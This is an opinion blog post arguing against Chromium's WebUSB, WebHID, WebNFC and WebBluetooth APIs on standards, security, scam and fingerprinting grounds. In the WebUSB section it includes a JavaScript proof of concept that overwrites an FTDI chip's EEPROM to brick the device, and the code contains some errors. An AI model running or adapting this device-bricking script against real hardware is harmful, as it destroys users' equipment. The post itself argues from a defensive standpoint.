What is WebUSB?
I'm using WebUSB to refer to the Web* family(WebBlueooth,WebHID, WebNFC, WebUSB, and WebMidi) family of JavaScript APIs proposed by Google. These were a set of APIs that would effectively provide a browser with low-level access to hardware. Now you may think that all browsers should implement WebUSB, it's so useful. I'm going to break down the dangers of WebUSB from an ideological standpoint for a "free" web and from a security perspective. I'll be starting with the ideological viewpoint, as it is less technical and more emotional. As a quick side note, you may notice the Web* selection of proposals also includes WebMidi, I have some thoughts on this, but I'll address it in its own section as, unlike the others, it has been implemented.
Why is Web* is Bad for a "Free" Internet?
To answer this question we must first look at how one goes about adding a new standard to the web. Let's say you wanted to add something to the JavaScript stands. First, we'd need to determine which committee in the World Wide Web Consortium (W3C) consortium we'd need to submit to. In this case it would be the Web Incubator Community Group. Then you would turn your idea into a proposal and submit this proposal. Now you would then go through the process specified by the group, and if the majority of the members agree on the usefulness of the feature and that your feature does not violate the principles of accessibility, internationalization, privacy, and security It finally becomes a standard.
When Google proposed the Web* standard, it was n'acked (acked- acknowledged aka accepted, nacked - not acknowledged aka rejected) by both Mozilla and Apple, the companies behind the other 2 "major" browsers. However, these were not ideological n'acks, but technical. When this happened, the expectation was that no one would implement it, and any browser that had a WIP/experimental implementation would not move forward with it. Google did not do this. They instead made WebUSB and the other APIs fully functional and no longer experimental in chromium and by extensions all chromium based browsers.
If other browsers now choose to implement WebUSB it effectively tells Google they can dictate web standards. This could include choosing to implement a form of DRM that would disable AdBlock with no opt-out. Now, I'm not saying Google will do that, but that they could. If you believe in free internet, WebUSB is now antithetical to that. This is the end of the ideological section. Let's now explore why each standard is not safe for the user.
WebUSB: From Data Dumping to Bricking Hardware and Driver Exploits
Before we look into why WebUSB works, let's look at how it works from a developer's POV and then break down how as a malicious actor we could exploit this model. Most of WebUSB lives in the USB Interface. The workflow can be broken down to: get a device via getDevices ⇾ configure and claim ⇾ start interacting! It's quite powerful despite being extremely simple. Let's take a look at a simple example.
navigator.usb.getDevices().then((devices) => {
devices.forEach((device) => {
console.log(device.productName);
console.log(device.manufacturerName);
});
});
This is an example that lists all devices connected. You can go even further and specify filters forGetDevices. For example, pid(product ID) & vid(vendor ID). After determining the correct device, you would use device.open to connect to the device, check if it is configured, and then claim it via claimInterface. At this point you can interact with the device via controlTransferIn and controlTransferOut.
Now let's use this in a more malicious way. To set some context, in 2014 FDTI a manufacturer of some of the most popular USB to serial chips, released a driver update that would in effect send garbage data to a counterfeit FDTI chip and overwrite the EEPROM, and set the PID to 0x0000. As no USB device exists with 0x0000 most operating systems no longer recognize the device. I'll port this POC of the bad driver logic to the webusb API.
a fairly large javascript example
const bad_eeprom = [
0x02, 0x40, 0x03, 0x04, 0x01, 0x60, 0x00, 0x06, 0xA0, 0x2D, 0x08, 0x00,
0x00, 0x02, 0x98, 0x0A, 0xA2, 0x20, 0xC2, 0x12, 0x23, 0x10, 0x05, 0x00,
0x0A, 0x03, 0x46, 0x00, 0x54, 0x00, 0x44, 0x00, 0x49, 0x00, 0x20, 0x03,
0x46, 0x00, 0x54, 0x00, 0x32, 0x00, 0x33, 0x00, 0x32, 0x00, 0x52, 0x00,
0x20, 0x00, 0x55, 0x00, 0x53, 0x00, 0x42, 0x00, 0x20, 0x00, 0x55, 0x00,
0x41, 0x00, 0x52, 0x00, 0x54, 0x00, 0x12, 0x03, 0x41, 0x00, 0x31, 0x00,
0x30, 0x00, 0x4C, 0x00, 0x49, 0x00, 0x57, 0x00, 0x41, 0x00, 0x36, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD4, 0x54
];
let device = await navigator.usb.getDevices(filters: [{ vendorId: 0x0403, productId: 0x6001 }]);
if (!device) {
console.error("no fdti chips?");
return 1;
}
await device.open();
//configure the device if its not
if (!device.configuration) {
await device.selectConfiguration(1);
}
await device.claimInterface(0); // claim it so no other page can use it
// reset the device
const result = await device.controlTransferOut({
requestType: "vendor",
recipient: 'device',
request: 0x40,
value: 0x00,
index: 0x01,
});
if (result.status === 'ok') {
console.log("device has been reset; polling modem");
const result = await device.controlTransferOut({
requestType: "vendor",
recipient: 'device',
request: 0xC0,
value: 0x00,
index: 0x01,
});
if (result.status === 'ok') {
console.log("Done polling modem; setting latency to 0x77");
const result = await device.controlTransferOut({
requestType: "vendor",
recipient: 'device',
request: 0x40,
value: 0x77,
index: 0x01,
});
if (result.status === 'ok') {
console.log("Latency set, bricking device 😈");
const result = await device.controlTransferOut({
requestType: "vendor",
recipient: 'device',
request: 0x91,
value: 0x77,
index: 0x01,
}, bad_eeprom);
if (result.status === 'ok') {
console.log("your device is now bricked");
}else {
console.error(`Failed to write eeprom at byte ${result.bytesWritten}`);
}
}else {
console.error("Failed to set latency");
}
}else {
console.error("Could not poll modem");
}
} else {
console.error("failed to reset device");
}
While this port targets a comparatively niche chip set, it's important to think about the wider implications. Until now, malicious actors rarely targeted hardware drivers and devices, as the incentive for the attack was not present. That has changed with WebUSB. Most devices and drivers are not written with a hostile user in mind. In Linux, thanks to syzkaller/syzbot these USB drivers now get testing. The USB fuzzing side of syzkaller since 2019 has led to the discovery of 128 bugs, 15 of which were CVEs.
No such project exists for other operating systems, as far as I'm aware. This should be concerning. We often don't realize how many devices use USB; for example, the Intel Wi-Fi/Bluetooth PCIE cards expose Bluetooth functionality via USB instead of PCIE. Countless Realtek USB Wi-Fi cards are sold every day. Imagine if one of these has a silent vulnerability hidden in these drivers. The scope of the impact. WebUSB exposes a set of devices that were not developed to be exposed to a possibly malicious actor; as a user, you shouldn't be asking Firefox and Safari to implement WebUSB.
WebHID
WebHID, is actually very similar to WebUSB but limits its API to HID devices. HID, or Human Interface Devices, encompasses everything from game controllers to mice. It provides a standard way for these devices to share info about what they are and things like keys pressed. This removes the need for "special" drivers for each device, and instead they just report that they are a HID device and type. WebHID can be broken into 2 parts. 1. Receiving HID reports 2. Sending HID reports The strange thing about WebHID is that it does not allow you to enumerate HID devices, unlike WebUSB. Instead, you receive every HID input report. Just look at this example from MDN
device.addEventListener("inputreport", (event) => {
const { data, device, reportId } = event;
// Handle only the Joy-Con Right device and a specific report ID.
if (device.productId !== 0x2007 && reportId !== 0x3f) return;
const value = data.getUint8(0);
if (value === 0) return;
const someButtons = { 1: "A", 2: "X", 4: "B", 8: "Y" };
console.log(`User pressed button ${someButtons[value]}.`);
});
At this point, one may have a silent realization that this in fact is basically boilerplate for a keylogger. Instead of limiting input reports, one could use this to parse keyboard input and send it to the cloud all in the background in a forgotten tab or even in the foreground of a game. Some devices, like digital signatures, can actually expose themselves as HID devices; this private information should not be exposed to the web. Googles proposed solution, to have users explicitly pick devices exposed to a website, isn't foolproof and isn't an acceptable solution.
The other part of the API sends HID reports to the device, I originally believed this couldn't be used maliciously, but the specification itself points out "many devices expose functionality that allow the device firmware to be upgraded". Many of these devices have rudimentary or even no checking of input using these APIs. Like WebUSB we run the risk of websites drive by bricking devices.
WebNFC
NFC or Near Field Communication is an interesting set of protocols that started development in 1983 (well not really a standard, just a patent which would be used in a Star Wars toy, the proper development started in 2002). Overall it's actually an incredibly useful protocol used in everything from a part of webauthn and card payment systems to even some hotel door locks!
Most applications of NFC are the sharing of confidential/private data. Data that you really do not want being shared on the internet. While the applications for WebNFC can be cool overall the risks, and possibility to abuse this are enough to say this shouldn't be allowed. Unlike USB, you can't filter data sent to the page. ALL reader data is sent. The risk of accidental data leak is too high to justify this.
WebBluetooth
We come to the final member of the web* family I am opposed to, WebBluetooth. WebBluetooth has the same issues as USB, when you look for Bluetooth devices you can get a list of all the Bluetooth devices and connect to them. These devices all have their own firmware running on them, many of them even run small real time operating systems like zephyr. These devices like USB one have never been expected to defend against malicious input. Expecting them to suddenly defend against them, especially when most of them can not be updated is a preposterous idea.
WebMidi: The black sheep
This brings us to the end, with WebMidi, the only api of the Web* family that was accepted. Why? because midi is actually a extremely well defined protocol. A fully functional midi device, would not break with bad input. If a device is unable to handle bad midi input it isn't spec complaint. Hence a malicious user of WebMidi can't cause damage unlike the other apis.
Scamming
I originally included this only in the WebUSB section but upon a rereading and some deeper thought, I felt this needed to be addressed separately. Scamming is a industry that makes a mind boggling amount of money daily. Spanning from the bog standard tech support and refund scams to the downright cruel romance and pig butchering scams that plague many of our families. Tech support scams especially have relied upon users being tech illiterate. Very often these target desktop computers and use tools like netstat to tell users they are being hacked.
I have seen friends fall for these scams. I can imagine an attack using tools like webadb to convince the victim that their phone is compromised. The calls they may receive from their family asking them to stop, could be a falsified. The idea of this alone is horrifying. Going beyond this, convincing victims to use “secure apps” like kik with chats that vanish to cover up their trails. Making proving to the victim they are being scammed and bringing the scammers to justice even harder. We need to reject all the Web* APIs. As users, we need to think about more than just "what is cool" and "what is useful". We need to think about the tech illiterate, how that cool piece of tech could be misused.
Finger Printing
The final issue with all of these APIs is fingerprinting. A tenet of the Web that has slowly been disappearing is anonymity. When people realized they could show advertisements on the internet, being able to group or even single out individuals was very tempting. Being able to show people targeted ads has become a massive industry. Several methods exist for fingerprinting users on the web. These range from leaving behind cookies, to determining how an exact pixel is rendered to determine individual users.
With Web* you simplify this process as the devices attached to a computer or nearby (for Bluetooth) is unique, allowing a company to de-anonymize users down to a single person. This is impossible to prevent, and should be unacceptable. Companies abusing this should be a risk we aren't okay with. Overall, the Web* family of APIs ignored the development ideal of assuming at least 1 of your users is malicious.
Final thoughts
As developers, we must assume at least one of our users is malicious. That anything dealing with user input should be considered dangerous. Web browsers have followed this principle, the belief that at least one website is malicious and out there to exploit the browser's user's, system and this belief has been proven true. For example, the Angler Exploit Kit utilized vulnerabilities in used flash, java applets and silverlight users would never notice initial infection. Angler was not alone, Nuclear, Fallout, and RIG followed building of it.
One thing all of these had in common was that they weren't attacks on core components of a browser, instead they target software that blew holes into the sandboxed model of browsers. We learnt from this and began phasing out technologies that enabled this. With the Web* family, we are throwing away what we learnt and blowing holes in the sandbox yet again. The web is a dangerous place, web* makes it more dangerous.










